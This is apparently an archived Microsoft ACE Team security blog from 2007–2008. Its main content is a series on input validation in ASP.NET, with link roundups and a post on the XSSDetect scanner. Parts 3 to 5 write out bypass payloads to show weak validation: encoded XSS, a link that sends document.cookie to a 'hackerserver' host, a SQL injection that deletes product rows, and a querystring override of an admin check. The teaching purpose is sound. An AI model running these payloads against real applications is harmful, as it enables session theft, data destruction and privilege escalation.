%41%43%45%20%54%65%61%6d

HelloSecureWorld.com Launched

2008-02-01T05:55:00Z

Discover the New HelloSecureWorld Security Resource

www.HelloSecureWorld.com provides a powerful experience for promoting security awareness and education in the developer community by surfacing existing content as well as new.

Well, If you like learning while having FUN then hellosecureworld.com is the resource for you. It brings non traditional ways to provide security awareness and education among the developer community - Virtual lab environment, hands on labs, tutorials, videos, play attack defender games and much more.

Happy Learning !!

- Anmol Malhotra

First Line of Defense for Web Applications – Conclusion

2008-01-07T00:45:00Z

Platform features for validating input in .NET Framework

There are many platform features which should be leveraged wherever possible. Some of the key validation features supported by .NET framework are given below:

ValidateRequest

ASP.NET performs request validation against query-string and form variables as well as cookie values. By default, if the current Request contains HTML-encoded elements or certain HTML characters (such as ), the ASP.NET page framework raises an error.

This is an httphandler which will scan all requests coming in the application and will generate an error message if it detects malicious characters in the request that could initiate a cross site scripting attack. By default, this security feature is enabled in the Machine.config file. It is always advisable to not to disable this setting and verify that validateRequest is set to true as given below.

<system.web>

</system.web>

There are some limitations to this feature.

· If you need a page which contains a free format rich test entry fields designed to accept a range for HTML as input, then you might want to disable this feature. It should be understood that disabling validate request is dangerous, so make sure proper input validation is implemented in the application.

· Security researchers have found a way to bypass this platform validation feature in the past multiple times, and they can do it again in the future. Relying “Only” on this mitigation can prove costly. Microsoft ASP.NET request filtering can be bypassed allowing XSS and HTML injection attacks

Validation controls

The validation features provided by the .NET framework are immensely powerful. Validation controls provide an easy-to-use mechanism for all common types of standard validation. For example, a developer can test for valid dates or values within a range and can create custom-written validation. In addition, validation controls allow you to customize how error information is displayed to the user. Using the right validation control in the right context can save your application from lot of attack vectors.

Regular expressions

Regular expressions provide a powerful, flexible, and efficient method for processing text. The extensive pattern-matching notation of regular expressions allows you to quickly parse large amounts of text to find specific character patterns, to extract, edit, replace, or delete text substrings, or to add the extracted strings to a collection in order to generate a report. For many applications that deal with strings (such as HTML processing, log file parsing, and HTTP header parsing), regular expressions are an indispensable tool.

Let’s analyze this regular expression used for validation, implemented by a developer on a Name input field:

string regExPattern= \.{1,500}$

The regular expression serves only as the length delimiter. It provides no protection in terms of character type. This example merely limits the attacker to a maximum payload of 500 characters.

Ideally the regExPattern should have been declared as follows:

string regExPattern = ^[a-zA-Z''-'\s]{1,40}$

This only allows one or more alphabetical characters, which further validates the input as a name. It allows up to 40 uppercase and lowercase characters and a few special characters that are common to some names.

Unfortunately, regular expressions have some significant limitations:

· Performance Impact

o The more complex the regular expression, the more CPU cycles are required. RegEx generally have exponential complexity. Use of OR (|) to create a complex regular expression can slow down your application.

· Certain kinds of strings are very hard, if not impossible to recognize by regular expressions.

· Sometimes it requires extra time and effort to construct RegEx which will validate all good data

o Different input but all are valid forms E.g a valid email address can be – abc@foo.com or abc@111.222.333.444

Be careful with the DOT(.)

Dot is a very powerful regular expression meta- character, but there is something important to understand about its use. Dot is a part of character class that represents a set of characters which can match an input string; the dot matches a single character without caring what that character is. The only exceptions are newline characters. This means that the regular expression will also match in cases where it should not match. Thus, use of DOT sometimes creates regular expression that is very loosely written.

For example, let's say we want to match a date in mm/dd/yy format, but we want to leave the user the choice of date separators. The quick solution is \d\d.\d\d.\d\d. Seems fine at first. It will match a date like 04/09/07 just fine. The problem comes when you pass something like “04109807” via this regular expression. This input passes the validation requirement without any red alerts. Why? Because it is also considered a valid date by the quick solution regular expression. In this match, the first dot matched 1, and the second matched 8. Clearly this is something which is not intended. It is therefore advised to use this meta-character sparingly or with caution.

Conclusions

The .NET framework has many powerful features for implementing white list validation. Remember to use white list validation whenever possible. It is a more restrictive, definitive, and manageable means to perform strong input validation in your applications.

On the other hand, black list validation is less restrictive and more difficult to manage and maintain. As you have seen, there are many ways to bypass black list validation.

Of course, a combination of both the approaches can be leveraged where it is difficult to define exactly what you are looking for in the input. However you validate, consider a centralize approach to input and data validation within your application. Maintainability of the code becomes quite simple as your validation routines are defined at one place.

Attacks on the application layer have tremendously increased over the years. Most of the deadly web application attacks exploit poor input validation as root vulnerability. Understanding the right validation approach and techniques for user input filtering are the keys to a secure web application.

It’s a bad world outside so- Validate! Validate and validate all user controlled input prior to consuming it.

References

· http://msdn2.microsoft.com/en-us/library/ms998378.aspx#pagquestionlist0002_inputdatavalidation

· Anti-Cross Site Scripting Library - http://msdn2.microsoft.com/en-us/security/aa973814.aspx

· http://msdn.microsoft.com/archive/default.asp?url=/archive/en-us/samples/internet/components/sitelock/default.asp

· How To: Use Regular Expressions to Constrain Input in ASP.NET

· Developing a Validator Control

· Validating User input in ASP.NET web pages

· http://www.guidancelibrary.com/default.aspx/Home.RegExInputValCode

· Regular Expression Work bench

· http://www.regular-expressions.info/

· http://msdn2.microsoft.com/en-us/library/Aa302416.aspx#strongnames_topic4

Regards & Keep it Secure !!

Anmol Malhotra

First Line of Defense for Web Applications – Part 5

2007-12-17T05:56:00Z

First of all folks, my apologies for this delayed post. I have been traveling and busy doing a very interesting Threat Modeling exercise. But i am back & Lets cover some other validation bloopers -

SQL injection

Weak Validation Examples	Code Snippets
a) Replacing single Quotes to double quotes	Sample.aspx.cs catergoryID=Request.QueryString(id); SqlCommand myCommand = new SqlCommand("SELECT * FROM Products WHERE CategoryID = " + SanitizeSQL(categoryID) +", myConnection); public static string SanitizeSQL(string strSQL) { Return ( strSQL.Replace("'","''") ); }
Exploit code to bypass this validation	Validation function is assuming that the user will only enter single quote to SQL inject. But this is not the case. For example: Unexpected : 21; Delete from Products where ProductID = 102--
Recommendation	Whenever you are expecting an integer value, the best validation on this type of input is to type cast it and check if it is really an integer. If not, reject the input. Bottom line: if the input is of a primitive type, one can cast it. e.g int id; try { id = int.Parse(Request.Form(“userinput”)); } catch (Exception ex) { return; } 2. Use parameterized SQL.

Active X Components

Weak Validation in Active X	Explanation
Safe for scripting	A control that is marked safe for scripting can be scripted not only by the Web page author who uses it, but by other Web sites on the Internet as well. It gives ability to other Web page authors to reuse the control for malicious purposes.
Exploit code to bypass	ActiveX controls can be hosted by scripting environments and driven by script. In some hosts, such as Microsoft® Internet Explorer, the script can come from an unknown and possibly untrusted source. A control can be initialized by data from an arbitrary interface. This interface could come from either a local or a remote Uniform Resource Locator (URL). This is a potential security hazard because the data could come from an untrusted source.
Recommendation	The SiteLock template enables you to restrict access so that the control is only deemed safe in a predetermined list of domains. SiteLock automatically queries for the URL where the control is hosted, extracts the Uniform Resource Identifier (URI) type and domain name from that URL, and compares the URI to a list to see if the site should be trusted. The developer creates the list at build time. e.g : const CYourObject::SiteList CYourObject::rgslTrustedSites[2] = {{ SiteList::Deny, L“http”, L“users.microsoft.com” }, { SiteList::Allow, L“http”, L“microsoft.com” }, Again, it is recommended to use the white list approach here, not the black list approach; Define all sites that are allowed to initiate the control rather than listing out sites which should be denied.

Implementing Client side validation

Implementing client side validation is good as long as you have server side validation controls in place as well. If you only reply on client side validation, your application is wide open for attacks.

To bypass client side validations, an attacker can:

o Switch off Java script in browsers. Since the browser does not execute any scripts, all script based validations on client end will fail.

o Use HTTP debugging proxy software’s to fiddle with the incoming responses and outgoing requests. Tools like Fiddler can do this seamlessly.

o Use SOAPTool like tools to bypass the thick /smart client’s altogether and send malicious data to the back end web services. All thick client based validations will no longer be in effect.

However, there is no technological restriction enforced to limit which client can communicate with a server, or vice versa; such restrictions are either unrealistic or not possible. Tools like Fiddler, TamperIE, etc make it possible to edit requests and responses between a client and server or to play back a client request or server response. These proxy tools can even alter packets and send data that the vendor’s software would never send.

Keep it Secure.

Anmol Malhotra

Senior Security Consultant

ACE Services

First Line of Defense for Web Applications – Part 4

2007-11-12T15:53:00Z

I am on a red eye flight back to Seattle from Dulles, VA where I just finished delivering some security training. Traveling back in time, jet lagged, not able to sleep so I thought of finishing my blog post for this week to kill some time. :)

Ok, so now that we have discussed the basics of input validation, let’s move on to some more interesting part of this series – The top most common mistakes developers make today when they implement input validation routines for web application attacks. This is not a comprehensive list of course but I am sure there are so many other worse validation routines floating out there which I still have to witness. :) . If you are in the same business of security, you know what I am talking about.

Top Validation Bloopers

Understanding the need for input validation is a good start, but developers also need to implement strong controls. This is harder than it sounds. This section illustrates some of the top validation bloopers developers make when writing validation routines for Cross site scripting attacks, SQL injection attacks, and poorly coded file upload functionality. It includes example payloads that can bypass the validation schemes and recommendation how to validate securely.

# 1 - Cross Site Scripting

Weak Validation Examples

- LetsStopCrossSiteScripting

<html>

<head>

</head>

</form>

</html>

fooString= Request.querystring("foo")

// LetsStopCrossSiteScripting

fooString = Replace(fooString, "<", " ")

fooString = Replace(fooString, ">", " ")

fooString = Replace(fooString, "%", " ")

fooString = Replace(fooString, ",", " ")

Response.Write fooString

Exploit Technique to bypass this validation

Attacker can use alternate representations for characters, in this case using encoding for the payload <script>alert(‘Foo is vulnerable to XSS’)</script> can successfully bypass this validation and attack the application.

Attack Payload :

?foo=%2bADw-script%2bAD4-alert('got%20cha')%2bADw-/script%2bAD4-

Some more examples of weak XSS validations

a) SanitizeInput

private string SanitizeInput(string input)

{

Regex badCharReplace = new Regex(@""([<>""""'%;()&])"");"

}

b) Security Configuration file : stopXSS.xml

</stopXSS>

c) Replacing char(34)

if request("name") <> "" then

str = replace(request("name"),chr(34),""")

end if

Now, let’s look at some Inappropriate output encoding examples

a) Server.HTMLEncode()

This is Sample.aspx

<html>

Welcome to Foo!!!!

Server.HTMLEncode(<%= (Request.Params["Search"])%>);

</script>

</html>

• Exploit payload to bypass this encoding is given below

<a id=evilLink href="http://victimsite.com/sample.aspx?Search='search+string'%3Bw%3Dwindow.open('http%3A%2F%2Fhackerserver%2Fhackersite%2F%3F'%2Bdocument.cookie%2C'wname'%2C'width%3D10%2Cheight%3D10')%3BsetTimeout('w.close()'%2C1000)%3Balert('Please+try+again')" mce_href="http://victimsite.com/sample.aspx?Search='search+string'%3Bw%3Dwindow.open('http%3A%2F%2Fhackerserver%2Fhackersite%2F%3F'%2Bdocument.cookie%2C'wname'%2C'width%3D10%2Cheight%3D10')%3BsetTimeout('w.close()'%2C1000)%3Balert('Please+try+again')">http://victimsite.com/default.aspx</a>

The above payload does not have any <script> tags so it easily bypasses the encoding routine.

Another example for inappropriate use of Server.HtmlEncode()

<html>

<body>

</body>

</html>

Exploit payload to bypass this encoding is given below

Server.HTMLEncode fails to protect against XSS attack in these examples because of the following reasons:

· Attacker payload lands up in a scripting context already, so there is no need to have <script> in the payload.

· Server.HTMLEncode is a black list encoding function which ONLY encodes 4 characters : < , > , “ , &. All other characters are not encoded.

Recommendations:

· Input Validation - Use White list Regular expression validation. Allows one or more alphabetical characters string regExPattern = @"^[A-Za-z]+$";

· Output Encoding - Anti-Cross Site Scripting Library from ACE team can be used to mitigate against XSS attacks. This is a white list encoding routine & is available at http://msdn2.microsoft.com/en-us/security/aa973814.aspx.

Stay tuned for more bloopers next week. Till then, keep it secure.

Cheers,

Anmol Malhotra
Senior Security Consultant – Microsoft ACE Services

First Line of Defense for Web Applications – Part 3

2007-10-30T21:53:38Z

Precaution: Are you consuming Unexpected Input

Technology is developing fast and web programming languages are coming up with features or ways to ease the job of our developers. Although it brings a smile on developers face, there is a flip side to this. Attackers are exploiting these shortcuts to pass unexpected input in the applications and exploiting the applications. Let’s look at Request () Object which retrieves the values that the client browser passed to the server during an HTTP request.

Interestingly, all variables can be accessed directly by calling Request(variable) without the collection name. In this case, the Web server searches the collections in the following order:

· QueryString

· Form

· Cookies

· ClientCertificate

· ServerVariables

Now this is where it gets dangerous. If a variable with the same name exists in more than one collection, the Request object returns the first instance that the object encounters.

For example, a web application may implement the following authorization checks:

If Request(“Admin”) =”True” Then

Do administrative work

Else

Normal User Work

If the developer of the application sets a variable in the cookie, such as Admin=Yes, then the application will check for the value of this Request object whenever the application has to process admin functionality.

The code should look something like Request.Cookies(“Admin”). However, if the developer loosely codes the thing, and uses a shortcut like Request(“Admin”) then now as stated earlier, the Request object will search for a match in QueryString, Form, Cookies, ClientCertificate and ServerVariables, in that order. The first match found dictates the value.

From an attacker perspective, a simple payload would bypass this and exploit the application.

http://www.vulnerablecom/abc.aspx?URL=Admin

Here Value from Querystring overrides or takes precedence over cookies object.

Input Validation Strategies

Before we start building a defence against the bad guys, we need to clearly understand some basic concepts of security design and architecture. Security requires some measure of paranoia—we must assume all foreign data entering an application is malicious. Therefore, all foreign data should be validated before consuming and should be encoded when echoing back to the user. This paranoia is a key part of developing secure applications.

There are two basic strategies for validating input. Either we can look for known values in the input we are expecting to receive from the user (white list) or we can look for unknown list of values which we are not expecting to receive from the user (black list). These strategies are applicable to other security domains in addition to web applications. For example, when configuring a firewall you can either accept traffic only on specific ports & specific IP address OR you can write many rejection rules which will reject traffic on all unwanted ports and IP addresses.

Black List Approach a.k.a Exclusions list

In this approach, the developer tries to imagine all the bad input that may find its way to her application, and then rejects all these specific inputs. All other data is accepted. These are just a few of the inputs she will need to look out for:

User Input Expected: First Name

Regular Expression: (<|&lt;|%3C)(%20|\s)*(script|applet|embed|))

The black list strategy is a weak protection mechanism because you cannot brain storm all the bad characters attackers will use for a particular attack. We all know security is an ever changing landscape. Black list comes heavily dependent on attacker’s next moves and therefore has to be continuously updated and changed. As new attack techniques come out, this list becomes outdated and requires constant monitoring.

White List Approach aka Inclusions list

The white list strategy compares foreign user input to specific input that will be treated as acceptable. For example:

User Input Expected: First Name

Regular Expression: [a-z A-Z-]

The above is a White list of all known good inputs, e.g Only Caps A to Z and small a- z will be allowed. All other input is discarded as evil.

White list filtering gives more control to the programmer as it is a restrictive kind of filtering mechanism. Only characters defined in the list will be entertained and nothing else. All other characters are considered malicious and are rejected. White list offers much better protection in your application against attacks when the programmer has a good idea of the type of input expected for the application.

Unfortunately, there can be times when application developer has no clear idea about what data is expected. For example, sometimes user can enter free HTML as an input. In this kind of scenario, implementing inclusions list validation becomes difficult.

Cheers,

Anmol Malhotra

Sr. Security Consultant - Microsoft ACE Services

Weekend Security Reading Round up Links 10/27/07

2007-10-27T08:21:04Z

Microsoft Research Reveals New Trends in Cybercrime

This is well worth reading if you're in Info Sec... I particularly was nodding my head violently yes when I read the following:

"The research indicates there are tensions within organizations over how data should be managed. Security and privacy professionals see customer data as an asset to protect, while in functions such as marketing where personal data is collected and used, employees are more likely to see it as a resource to achieve business objectives."

Worst Cybersecurity Meltdowns

Forbes. Its listed under "Business of Fear"... hmmm?

So... a couple of interesting links related to PCI (payment card industry data security standards)

Visa rolls out new payment application security mandates

Do you have legacy systems that process credit cards?

Hackers Can Tap Into Vonage Lines, Says Security Firm

You don't say?

Top Five (5) Best Non-Criminal Hackers of All Time

While not a bad list... I have to say not the same list I would compile.

Hacker books: The Cuckoo's Egg: Tracking a Spy Through the Maze of Computer Espionage

I read this book while I was back in High School and its a great read. If you're not old enough to remember what a 300 baud modem is then some of the technology references may seem a little arcane but the story is compelling. This is a true story.

-techjunkie

Some technical details on how XSSDetect does Dataflow Analysis

2007-10-24T06:41:00Z

Hi, my name is Hassan Khan. I work for the ACE Engineering Team, which is a part of the ACE (Application Consulting & Engineering) Team. We develop tools and solutions to help secure Microsoft Line of Business applications, websites and also work with Microsoft’s enterprise customers. ACE Engineering is also responsible for developing and delivering security courses and workshops that were originally targeted at IT application teams at Microsoft and which we also now deliver externally. The XSSDetect tool, the Threat modeling and Analysis Tool and the Anti-XSS Library are some of the tools developed by ACE Engineering which have been made available for free on the Internet. As one of the developers of XSSDetect, I wanted to share some of the technical details of this tool in this blog entry.

There are two types of web application vulnerability scanners: dynamic and static. Dynamic analysis tools are also called penetration testing tools. You point such a tool at a live application; the tool begins crawling the web pages in the application and throws test strings at each of them. The effectiveness of a penetration testing tool is therefore dependent on its ability to go through all the use cases in the application. Most tools in the market, if not all, are not very good at it. Static analysis tools on the other hand scan the application source code or binaries to detect programming errors. Consequently, they offer 100% coverage and are able to identify many more vulnerabilities than penetration testing tools. XSSDetect is a static analysis tool.

The reason there are so few static analysis tools available is that they are complex and hard to implement. XSSDetect analyzes .NET Intermediate Language (IL) read directly from the compiled binaries. It takes apart all assemblies, modules, classes and methods down to each instruction. It then identifies statements where untrusted user data enters the application and where dangerous methods are called. These form the two sets of statements (sources and sinks) between which XSSDetect then finds dataflow paths. This is the same algorithm that is employed when an application is code reviewed manually by an experienced security analyst.

Even though XSSDetect comes with hardcoded sources and sinks that help identify only XSS vulnerabilities, this approach can be used to identify any vulnerability that can be expressed in terms of sources, sinks and the dataflow between them. These include SQL, LDAP, XPATH, and XML data Injection vulnerabilities. Once you have dataflow analysis capabilities, it can indeed be very powerful.

The example below shows data is traced from Request.Querystring to Response.Write to establish the fact that a XSS vulnerability exists in the application. It is a simple example here data is only assigned to a variable before being echoed. In reality, before user input is passed to dangerous functions, it can be passed around in different assemblies, methods and assigned to object fields. It can also be stored in a database before being used! All these challenges had to be overcome to make this tool more accurate. Additionally, XSSDetect had to identify encoding and sanitizing functions in dataflow paths to reduce the number of false positives.

I will continue to share more details on XSSDetect in the future. For now, feel free to share with us your experience of using this tool. If you come across any vulnerable code fragments which XSSDetect fails to detect, please let us know and we will try to improve the accuracy of this tool. You can contact the ACE team by going to the ACE Team blog and clicking on 'Email'.

To download the tool and see a screenshot, check out the ACE Team blog here:

http://blogs.msdn.com/ace_team/archive/2007/10/22/xssdetect-public-beta-now-available.aspx

First Line of Defense for Web Applications – Part 2

2007-10-23T04:02:18Z

Hello everyone, as promised I am back with the next post on input validation series for web applications. Knowledge is power right :). So knowing what all things to validate when you start your web project can save you a lot of headache down the road. So here are some of most important aspects on input validation every developer should be aware of.

What should you validate?

All user controlled input should be treated malicious unless proven otherwise. There are three major categories you must validate to protect your web application.

1. Request object

This is the biggest and most important category of things to validate. When an HTTP request is made, the Request object retrieves all the values from the client browser. These are passed to the server. All of the following collections should be validated by the application on server side before consuming the information. Members of these collections are 100% user controlled.

Request.Cookies	The values of cookies sent in the HTTP request
Request.Form	The values of form elements in the HTTP request body
Request.QueryString	The values of variables in the HTTP query string

The members of Request.ServerVariables are not completely user controlled, but some items in this collection take user input. This collection retrieves the values of predetermined environment variables and request header information. These are the variables which take in some degree of user input, presenting potential vulnerabilities:

Request.ServerVariables

The values of predetermined environment variables

Request.ServerVariables

· HTTP_<HeaderName>

· SERVER_NAME

· URL

· REMOTE_ADDR

· REMOTE_HOST

· REMOTE_USER

For example, Request.ServerVariables ("HTTP_REFERER") is used many times by attackers for spoofing. Applications consuming this variable without validation may fall into a trap and process a malicious request that appears to originate from a trusted URL.

2. Registry entries

Many applications use the registry to store configuration and sensitive application data. Registry contents should always be treated as untrusted, user-modifiable data; the contents should always be validated before use. In fact, an application should perform input validation whenever data is being read or written to the registry.

3. Assemblies

Consider this simple scenario: One assembly, A, references and calls another assembly, B.

How can you ensure that, at run time, assembly A calls the original assembly B and not a malicious Trojan horse assembly named as “B” by an attacker? You need a way to verify the assemblies that are called within the application. The answer to this problem is “Strong Naming”. If you assign a public key to your assembly, it is considered "strongly named." Other assemblies that reference yours will use the “stronger” four-part name of your assembly. The strong name for assembly B would look like this:

<%@assembly name='B, Version=1.0.0.0, Culture=neutral,PublicKeyToken=2d7adc3047e7238d'%>

You should refer to assemblies using a "public key token," not the full public key. This token is like a thumbprint of the public key.

At load time, besides the normal signature checks designed to watch for unauthorized modification of the assembly's binaries, the loader will ensure that the public key in B.DLL matches the one recorded in A.DLL. This protects the links between the assemblies to ensure that B is B. An attacker now needs to discover the private key part of the RSA key pair that the original author used to sign the assemblies.

In the next post, I will talk about a very interesting way of exploiting a weakly coded web application and also we will explore different input validation strategies from a development perspective.

So stay tuned………

Cheers,
Anmol Malhotra
Security Consultant, ACE Services
http://blogs.msdn.com/anmolm

Weekend Security Reading Round up Links - 10/20/07

2007-10-20T08:40:00Z

Inside the Matrix for Mobiles

A pretty interesting concept: hack together a platform for connecting the innards of over one hundred different types of cell phones and then connect them to servers allowing virtual access for testing purposes over the Internet.

Nigerian Space Program Isn't a 419 Scam

No, really.

Eric Traut talks (and demos) Windows 7 and MinWin

What do you guys think of the ASCII Windows Logo? Stay tuned for more... ASCII goodness!

Comcast Blocks Some Internet Traffic

The interesting thing is how they're doing it, and to what. Its not to all torrent traffic, they just don't want you to initially seed content or continue seeding after a download completes.

Online poker cheating blamed on employee

Well so that's a non-good way of proving your point ...eh?

Yahoo's "hackerwire" news coverage

ASP.NET ValidateRequest does not mitigate XSS completely

ACE Team's Eugene Siu has a brief post about why ValidateRequest isn't enough

Little Bobby Tables (from XKCD.com)

This is really hilarious... thanks to Spencer Low for forwarding it to me.

Mark's Blog - Mark Russinovich's blog is required reading. Its just amazing how he'll logically walk through common problems normal users just ignore or get frustrated by and finds the root cause of really common problems like freezing gadgets, files not copying or folders not compressing.

I've been reading Mark since High School when I used to pick up Windows NT Magazine, great stuff!

-techjunkie

First Line of Defense for Web Applications – Part 1

2007-10-13T06:27:00Z

Hi folks, I am Anmol Malhotra and I work with ACE Services Team as a security consultant.

There are lots of security principles which one should be aware of while developing software but at the heart of any secure application, there should be a first line of defense – and the mother of all defenses is: Input Validation!

There is so much buzz around for how hackers hack and what offensive techniques do they use to break in, but at the core it is the mitigation strategy which matters to me and many of my customers. Lack of input validation is one of the _core_ vulnerabilities for almost all web attacks. If we can get this thing right, we can save lot of $(s) down the road. This series of blogs will talk in detail about Input validation strategies for web applications. We will also take a look at some interesting top Validation bloopers.

Let’s start with some basics today on Input validation.

Why Bother?

Would you let a stranger in your home? Probably not, unless he’s been thoroughly vetted and screened. But developers often let strange users inject data into their application without any sort of checking.

Sometimes developers assume no strangers will try to enter their house –they think that only their client software will communicate with their server software. This problem is not limited to thin web applications; in fact, it becomes even more severe in thick client designs. Wherever you give the user the ability to provide some input for processing, you also give him the ability to inject malicious data. Input validation is an application’s screening and vetting process that attempts to block as much malicious data as possible. For example, the application may limit input by length, type, or character. Without proper validation, malicious input will be processed by the application and can result in any number of security breaches.

Web applications designed today are heavily data driven and they exist because of a specific business need. Much of this data is provided by the users of the web application. Failure to validate this data in the application is asking for trouble. Consider an example of SQL injection attack, one of the key vulnerability required to achieve a successful SQL injection exploit is poor or no validation controls in the application.

Name any known web application attack and you will find that one of the core vulnerability is lack of input validation in the application itself. For example:

· Buffer overrun conditions

· Cross site scripting

· SQL injection

· XML injection

· LDAP injection

· Canonicalization issues

· Integer Overflow/Underflow

· Response Splitting

· Data Tampering

The list goes on and on. As it is clearly depicted from the list above many web application attacks exploit lack of input validation in the application. From an attackers prospective, this opens a huge door of opportunity to inject malicious data with the intent to make the application react in a way which is it is not supposed to be doing at all.

Cheers (stay tuned, more to come)

- Anmol Malhotra - http://blogs.msdn.com/anmolm

Weekend Security Reading Round up Links - 10/12/07

2007-10-13T05:55:00Z

All about the data: IT security starts with a data-centric worldview

ACE Team's Roger A. Grimes has posted a great summary of the importance of having a data-centric way of looking at things for computer/information security to work in an IT environment.

1st CTP of the SQL Server 2005 Driver for PHP available

Bill Staples announced the imminent release of the October 2007 Community Technology Preview of the SQL Server 2005 Driver for PHP which is now available for download. This is an early CTP release and designed to gather feedback from the community to help refine the design of the API, the feature set, and the target scenarios.

Inside MSRC: Microsoft SharePoint flaw explained

Top Ten least-known features of Windows Server 2008

WinRS (Windows Remote Shell) looks very interesting. You can read more about it here:

First Look: WinRM & WinRS: Two new tools from Microosft that can drastically help server and workstation management

How to prove your Digital Identity

ACE Team's Anmol Malhotra has a short post on his blog about digital identities. Anmol's also contributed a great whitepaper on Input Validation for Application Security which we'll be syndicating on this blog very soon, thanks Anmol!

Securing the Gateway to Your Enterprise: Web Services

2007-10-13T05:04:00Z

Eugene Siu, a Senior Security Consultant on the ACE Team has just published a great article summarizing some of the pitfalls and issues around web services security. You can read the whole article here.

-techjunkie

Mark Curphey joins Microsoft's ACE Team

2007-10-08T17:25:00Z

We're super excited to have Mark aboard, Mark was formerly running FoundStone Consulting and also founded OWASP. Here's Mark's note about joining and you can also check out Mark's own blog here.

-techjunkie

Weekend Security Reading Round up Links - 10/5/07

2007-10-05T18:37:00Z

What's hot in Microsoft security: White lists; Blue hats

A discussion on Symantec’s proposal to whitelist everything on a Windows box as well as a summary of Microsoft’s Bluehat

10 Microsoft Security Links to Blow Your Mind

Pretty self explanatory, no? :)

More eyeballs for .Net Framework code

Our own Eugene Siu talks about Microsoft’s decision to open up the .NET framework for review by developers under a shared source license

ASP.NET File Upload: How to prevent network clogging

Varun from ACE has posted a great little post developers accepting file uploads should take a look at

ARCast.TV - Security Chat from Slovenia

Channel 9 has a great video conversation on security recorded in Slovenia earlier in the year but just now posted up

Silverlight Security Series

Shawn Farkas has a great series of posts on Silverlight security starting from part I, then going on to part II and finally, part III! And of course, the obligatory cheatsheet as well :)

Updated: Removed some of the HTML gunk, oops.

The difference between pentesting and an application development security process Part I

2007-10-05T05:13:00Z

Many times when we’re speaking with a customer or reviewing material from security vendors, the inclination we’ve seen is to rely on penetration testing or code analysis/scanning tools and other solutions to make up for the fact that there is no comprehensive security process in place during development. Microsoft IT runs thousands of applications in our data centers and we’ve realized over the years that even if you spend large amounts of resources (both time and dollars) on penetration testing or automated scanning tools or other activities touted by some security vendors in a vacuum, you will never get the results you need. This is simply because you’re addressing a symptom and not the root cause of the issue. The root cause, of course, being that developers are writing code and deploying applications without following a standardized security process that enforces industry best practices when it comes to security code quality. What we’ve also learned is that developing and maintaining a solid application development security process is hard to do: it takes time, effort, support from senior leadership and a constant willingness to test assumptions and continuously improve what we’re doing. Cost is also a significant factor, something I intend to blog about in some more depth separately.

So what kind of security process do you need? It used to be that a lot of the security processes organizations developed and followed were based on their specific vertical or budgetary constraints, so for example the banking industry tended to do the same thing or the retail industry might do things in a certain way. What’s happened over the last several years however, and no doubt this has been significantly impacted by nearly everyone doing some kind of business online, is that processes, needs and requirements have started to merge. To a significant degree, it no longer makes any difference if you’re in banking or retail, you still need to protect consumer data from exposure just as much.

More to come in part II.

-techjunkie